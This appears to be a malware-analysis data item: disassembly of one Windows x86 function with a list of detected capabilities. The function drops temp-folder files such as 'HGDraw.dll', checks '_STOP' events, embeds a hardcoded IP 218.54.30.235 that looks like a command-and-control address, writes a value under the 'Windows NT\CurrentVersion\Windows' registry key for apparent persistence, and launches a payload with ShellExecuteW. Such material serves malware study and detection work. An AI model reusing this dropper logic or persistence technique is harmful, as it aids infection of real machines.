Function at 0x401110
Capabilities:
Check if file exists
Create process on windows
Delete file
Get common file path
Get file attributes
Set registry value

Disassembly:
mov eax, 0x1c4c
call fcn.00413ac0
mov eax, dword [0x420044]
xor eax, esp
mov dword [esp + 0x1c44], eax
push ebx
push ebp
push esi
push edi
xor ebx, ebx
push 0x206
lea ecx, [esp + 0x826]
xor eax, eax
push ebx
push ecx
mov dword [esp + 0x2c], ebx
mov word [esp + 0x82c], ax
call fcn.0040c9c0
add esp, 0xc
push 0x206
lea eax, [esp + 0x124e]
xor edx, edx
push ebx
push eax
mov word [esp + 0x1254], dx
call fcn.0040c9c0
add esp, 0xc
push 0x206
lea edx, [esp + 0x1046]
xor ecx, ecx
push ebx
push edx
mov word [esp + 0x104c], cx
call fcn.0040c9c0
xor eax, eax
add esp, 0xc
push 0x7e
lea edx, [esp + 0x7a6]
xor ecx, ecx
push ebx
push edx
mov word [esp + 0x68c], ax
mov dword [esp + 0x68e], eax
mov dword [esp + 0x692], eax
mov dword [esp + 0x696], eax
mov dword [esp + 0x69a], eax
mov dword [esp + 0x69e], eax
mov dword [esp + 0x6a2], eax
mov dword [esp + 0x6a6], eax
mov word [esp + 0x6aa], ax
mov word [esp + 0x7ac], cx
call fcn.0040c9c0
add esp, 0xc
push 0x7e
lea ecx, [esp + 0x726]
xor eax, eax
push ebx
push ecx
mov word [esp + 0x72c], ax
call fcn.0040c9c0
add esp, 0xc
push 0x7e
lea eax, [esp + 0x6a6]
xor edx, edx
push ebx
push eax
xor ebp, ebp
mov word [esp + 0x6ac], dx
call fcn.0040c9c0
add esp, 0xc
push 0x206
lea edx, [esp + 0xc36]
xor ecx, ecx
push ebx
push edx
mov dword [esp + 0x24], ebx
mov word [esp + 0xc3c], cx
call fcn.0040c9c0
add esp, 0xc
xor eax, eax
mov word [esp + 0x660], ax
mov dword [esp + 0x662], eax
mov dword [esp + 0x666], eax
mov dword [esp + 0x66a], eax
mov dword [esp + 0x66e], eax
mov dword [esp + 0x672], eax
push 0x206
lea edx, [esp + 0xa2e]
xor ecx, ecx
push ebx
push edx
mov dword [esp + 0x682], eax
mov dword [esp + 0x686], eax
mov word [esp + 0x68a], ax
mov word [esp + 0xa34], cx
call fcn.0040c9c0
add esp, 0xc
push 0x206
lea ecx, [esp + 0xe3e]
xor eax, eax
push ebx
push ecx
mov word [esp + 0xe44], ax
call fcn.0040c9c0
add esp, 0xc
push 0x200
lea edx, [esp + 0x2c]
push ebx
push edx
call fcn.0040c9c0
add esp, 0xc
push 1
lea edi, [esp + 0x2c]
call fcn.00401ba0
add esp, 4
mov dword [esp + 0x24], eax
push 0x104
lea eax, [esp + 0x124c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [esp + 0x820]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.HGDraw.dll
lea edx, [esp + 0x824]
push 0x104
push edx
call fcn.0040912b
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
add esp, 0xc
lea eax, [esp + 0x820]
push eax
call esi
cmp eax, 0xffffffff
je 0x40135e
lea ecx, [esp + 0x820]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [esp + 0x24], ebx
je 0x40159f
lea edx, [esp + 0x820]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [esp + 0x1b0]
push eax
lea ecx, [esp + 0x824]
push 0x104
push ecx
call fcn.0040912b
add esp, 0xc
push str..exe
lea edx, [esp + 0x824]
push 0x104
push edx
call fcn.0040912b
add esp, 0xc
lea eax, [esp + 0x820]
push eax
call esi
cmp eax, 0xffffffff
je 0x4013cf
lea ecx, [esp + 0x820]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea edx, [esp + 0x1d0]
push edx
lea eax, [esp + 0x684]
push 0x10
push eax
call fcn.004091a8
add esp, 0xc
lea edi, [esp + 0x820]
lea esi, [esp + 0x1d0]
call fcn.00401e60
call fcn.00401f00
cmp eax, 1
jne 0x40140d
xor eax, eax
jmp 0x401b83
xor eax, eax
nop
movzx ecx, word [esp + eax + 0x1d0]
mov word [esp + eax + 0xa28], cx
add eax, 2
test cx, cx
jne 0x401410
xor eax, eax
lea ebx, [ebx]
movzx ecx, word [esp + eax + 0x1d0]
mov word [esp + eax + 0xe38], cx
add eax, 2
test cx, cx
jne 0x401430
lea eax, [esp + 0xe38]
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x401452
mov ecx, dword [str._STOP]
mov edx, dword [0x41cc7c]
mov ebp, dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [eax], ecx
mov ecx, dword [0x41cc80]
mov dword [eax + 4], edx
lea edx, [esp + 0xa28]
push edx
push 0
push 0x20000
mov dword [eax + 8], ecx
call ebp
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
test eax, eax
je 0x4014f5
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call edi
lea eax, [esp + 0xe38]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
lea ecx, [esp + 0xa28]
push ecx
xor esi, esi
push esi
push 0x20000
call ebp
test eax, eax
je 0x4014f5
lea esp, [esp]
cmp esi, 5
jge 0x4014f5
push eax
call edi
push 0x1f4
inc esi
call ebx
lea edx, [esp + 0xa28]
push edx
push 0
push 0x20000
call ebp
test eax, eax
jne 0x4014d0
push 0x3e8
call ebx
lea eax, [esp + 0x820]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
xor eax, eax
lea esp, [esp]
movzx ecx, word [esp + eax + 0x2c]
mov word [esp + eax + 0x720], cx
add eax, 2
test cx, cx
jne 0x401510
xor eax, eax
jmp 0x401530
movzx ecx, word [esp + eax + 0xae]
mov word [esp + eax + 0x7a0], cx
add eax, 2
test cx, cx
jne 0x401530
xor eax, eax
lea ebx, [ebx]
movzx ecx, word [esp + eax + 0xce]
mov word [esp + eax + 0x6a0], cx
add eax, 2
test cx, cx
jne 0x401550
movzx ecx, word [esp + 0x14e]
movzx ebp, word [esp + 0xac]
mov ebx, dword [esp + 0x1f0]
lea edx, [esp + 0x1b0]
push edx
lea eax, [esp + 0x664]
push 0x10
push eax
mov dword [esp + 0x24], ecx
call fcn.004091a8
jmp 0x401650
cmp dword [0x421058], 3
jne 0x401653
push 0x236
lea ecx, [esp + 0x22c]
push 0
push ecx
call fcn.0040c9c0
add esp, 0xc
lea esi, [esp + 0x228]
call fcn.004020a0
mov dword [esp + 0x20], eax
test eax, eax
je 0x401653
xor eax, eax
lea ecx, [ecx]
movzx ecx, word [esp + eax + 0x336]
mov word [esp + eax + 0x7a0], cx
add eax, 2
test cx, cx
jne 0x4015e0
movzx edx, word [esp + 0x32c]
mov ecx, dword [esp + 0x32e]
movzx ebp, word [esp + 0x332]
lea esi, [esp + 0x720]
mov dword [esp + 0x18], edx
call fcn.004024c0
mov ecx, dword [esp + 0x328]
lea esi, [esp + 0x6a0]
call fcn.004024c0
lea eax, [esp + 0x356]
push eax
lea ecx, [esp + 0x684]
push 0x10
push ecx
call fcn.004091a8
mov ebx, dword [esp + 0x23c]
add esp, 0xc
push 0x200
lea edx, [esp + 0x464]
push 0
push edx
call fcn.0040c9c0
add esp, 0xc
push 0
lea edi, [esp + 0x464]
call fcn.00401ba0
add esp, 4
mov dword [esp + 0x14], eax
test eax, eax
je 0x401792
xor eax, eax
lea esp, [esp]
movzx ecx, word [eax + 0x41cc84]
mov word [esp + eax + 0x6a0], cx
add eax, 2
test cx, cx
jne 0x401690
xor eax, eax
lea esp, [esp]
movzx ecx, word [esp + eax + 0x4e6]
mov word [esp + eax + 0x7a0], cx
add eax, 2
test cx, cx
jne 0x4016b0
xor eax, eax
lea ebx, [ebx]
movzx ecx, word [esp + eax + 0x464]
mov word [esp + eax + 0x720], cx
add eax, 2
test cx, cx
jne 0x4016d0
cmp dword [0x421058], 3
movzx ebp, word [esp + 0x4e4]
movzx esi, word [esp + 0x586]
mov ebx, 5
je 0x40171b
lea eax, [esp + 0xc30]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x401748
push 0x104
lea ecx, [esp + 0xc34]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x41cd78
lea edx, [esp + 0xc34]
push 0x104
push edx
call fcn.0040912b
add esp, 0xc
xor eax, eax
lea ebx, [ebx]
movzx ecx, word [esp + eax + 0xc30]
mov word [esp + eax + 0x1040], cx
add eax, 2
test cx, cx
jne 0x401750
push str.golfset.ini
lea eax, [esp + 0x1044]
push 0x104
push eax
call fcn.0040912b
add esp, 0xc
lea ecx, [esp + 0x1040]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x401796
mov esi, dword [esp + 0x18]
push 0x200
lea edx, [esp + 0x2c]
push 0
push edx
call fcn.0040c9c0
mov eax, 0x51
mov edi, 0x504d534d
mov ecx, 0x2b70
add esp, 0xc
mov word [esp + 0xac], ax
mov dword [esp + 0x28], edi
mov word [esp + 0x14e], cx
xor eax, eax
nop
movzx ecx, word [eax + 0x41cc84]
mov word [esp + eax + 0xce], cx
add eax, 2
test cx, cx
jne 0x4017d0
xor eax, eax
lea esp, [esp]
movzx ecx, word [eax + str.218.54.30.235]
mov word [esp + eax + 0x2c], cx
add eax, 2
test cx, cx
jne 0x4017f0
xor eax, eax
jmp 0x401810
movzx ecx, word [eax + str.AAAA]
mov word [esp + eax + 0xae], cx
add eax, 2
test cx, cx
jne 0x401810
cmp dword [esp + 0x24], 0
mov dword [esp + 0x1f0], 5
jne 0x40184b
cmp dword [esp + 0x20], 0
jne 0x40184b
cmp dword [esp + 0x14], 0
je 0x4018bc
lea edx, [esp + 0x7a0]
push edx
lea eax, [esp + 0xb2]
push 0x10
push eax
call fcn.004091a8
add esp, 0xc
lea ecx, [esp + 0x720]
push ecx
lea edx, [esp + 0x30]
push 0x40
push edx
call fcn.004091a8
add esp, 0xc
lea eax, [esp + 0x6a0]
push eax
lea ecx, [esp + 0xd2]
push 0x40
push ecx
call fcn.004091a8
add esp, 0xc
mov word [esp + 0xac], bp
mov word [esp + 0x14e], si
mov dword [esp + 0x1f0], ebx
test ebx, ebx
jne 0x4018bc
mov dword [esp + 0x1f0], 5
cmp word [esp + 0x2c], 0
je 0x401b7e
cmp word [esp + 0xac], 0
jbe 0x401b7e
mov dword [esp + 0x28], edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00409217
add esp, 4
xor edx, edx
push 0x7fe
push edx
lea eax, [esp + 0x145a]
push eax
mov word [esp + 0x145c], dx
call fcn.0040c9c0
add esp, 0xc
cmp word [esp + 0x150], 0
jne 0x40193f
lea ecx, [esp + 0x1450]
push ecx
call fcn.00402540
add esp, 4
lea edx, [esp + 0x1450]
push edx
lea eax, [esp + 0x154]
push 0x10
push eax
call fcn.004091a8
add esp, 0xc
cmp word [esp + 0x170], 0
jne 0x401974
lea ecx, [esp + 0x1450]
push ecx
call fcn.00402540
add esp, 4
lea edx, [esp + 0x1450]
push edx
lea eax, [esp + 0x174]
push 0x10
push eax
call fcn.004091a8
add esp, 0xc
lea eax, [esp + 0x660]
lea edx, [eax + 2]
mov edi, edi
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401980
sub eax, edx
sar eax, 1
je 0x4019c4
lea ecx, [esp + 0x660]
push ecx
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x4019c4
lea edx, [esp + 0x660]
push edx
lea eax, [esp + 0x1b4]
push 0x10
push eax
call fcn.004091a8
add esp, 0xc
cmp word [esp + 0x1b0], 0
jne 0x4019f9
lea ecx, [esp + 0x1450]
push ecx
call fcn.00402540
add esp, 4
lea edx, [esp + 0x1450]
push edx
lea eax, [esp + 0x1b4]
push 0x10
push eax
call fcn.004091a8
add esp, 0xc
cmp word [esp + 0x1d0], 0
jne 0x401a6b
lea ecx, [esp + 0x1450]
push ecx
call fcn.00402540
add esp, 4
lea edx, [esp + 0x1450]
push edx
lea eax, [esp + 0x1d4]
push 0x10
push eax
call fcn.004091a8
lea eax, [esp + 0x68c]
add esp, 0xc
lea edx, [eax + 2]
jmp 0x401a40
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401a40
sub eax, edx
sar eax, 1
je 0x401a6b
lea ecx, [esp + 0x680]
push ecx
lea edx, [esp + 0x1d4]
push 0x10
push edx
call fcn.004091a8
add esp, 0xc
cmp word [esp + 0x190], 0
jne 0x401aa0
lea eax, [esp + 0x1450]
push eax
call fcn.00402540
add esp, 4
lea ecx, [esp + 0x1450]
push ecx
lea edx, [esp + 0x194]
push 0x10
push edx
call fcn.004091a8
add esp, 0xc
cmp dword [esp + 0x1f0], 0
mov dword [esp + 0x1f4], 0x100027e
jne 0x401ac0
mov dword [esp + 0x1f0], 5
lea eax, [esp + 0x28]
push eax
call fcn.00402670
add esp, 4
test eax, eax
je 0x401b7e
lea edi, [esp + 0x820]
lea esi, [esp + 0x1d0]
call fcn.00401e60
mov ecx, edi
push ecx
lea eax, [esp + 0x124c]
call fcn.00402800
add esp, 4
lea edx, [esp + 0x1c]
push edx
push 3
push 0
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindows
push connect
mov dword [esp + 0x30], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401b63
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401b24
sub eax, edx
mov edx, dword [esp + 0x1c]
sar eax, 1
lea eax, [eax + eax + 2]
push eax
lea ecx, [esp + 0x824]
push ecx
push 1
push 0
push 0x41cd4c
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x401b63
mov eax, dword [esp + 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
push 0
push 0x41cc50
lea ecx, [esp + 0x82c]
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov eax, 1
mov ecx, dword [esp + 0x1c54]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040911c
add esp, 0x1c4c
ret